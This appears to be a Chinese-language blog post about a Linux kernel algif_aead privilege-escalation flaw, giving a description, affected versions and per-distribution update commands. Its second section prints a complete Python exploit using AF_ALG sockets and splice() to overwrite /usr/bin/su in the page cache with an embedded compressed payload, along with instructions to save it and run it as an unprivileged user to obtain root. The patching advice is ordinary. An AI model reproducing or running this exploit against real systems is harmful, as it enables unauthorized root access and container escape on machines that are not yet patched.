1、漏洞描述
Linux内核中的algif_aead密码算法在72548b093ee3这次提交中搞出了漏洞,原理是允许本地非特权用户通过AF_ALG套接字和splice()系统调用,向内核的页面缓存page cache写入4个可控字节,进而篡改setuid二进制文件/usr/bin/su,最后直接获取root权限.
2、执行方法
复制以下代码 另存为 copy_fail_exp.py 用普通用户直接运行 python copy_fail_exp.py 可以直接切换成root
#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")
这次提交在这里 https://github.com/torvalds/linux/commit/72548b093ee3 可惜ai当年没那么好用 Linux Torvalds老大爷也没引入ai进行review...
3、影响范围
自2017年以来编译、且未包含修复补丁(commit a664bf3d603d)的绝大多数Linux内核版本,广泛涉及主流的服务器和云环境Linux发行版,100% 稳定获取 root 权限,还能实现跨容器逃逸,这是少有的高危内核缺陷.
4、不受影响的内核
5、修复方案
Ubuntu / Debian
apt update && apt upgrade linux-image-$(uname -r)
RHEL / CentOS / Rocky / Alma
dnf update kernel
Amazon Linux
yum update kernel
SUSE
zypper update kernel-default
6、总结
有新别用旧 要定期更新系统 特别是操作系统、数据库、开源框架、组件的CVE漏洞。发现问题还不及时处理就活该被搞死...
附上我的fedora44和gnome50 美滋滋啊...
周三有提醒升级 当晚就升级到最新版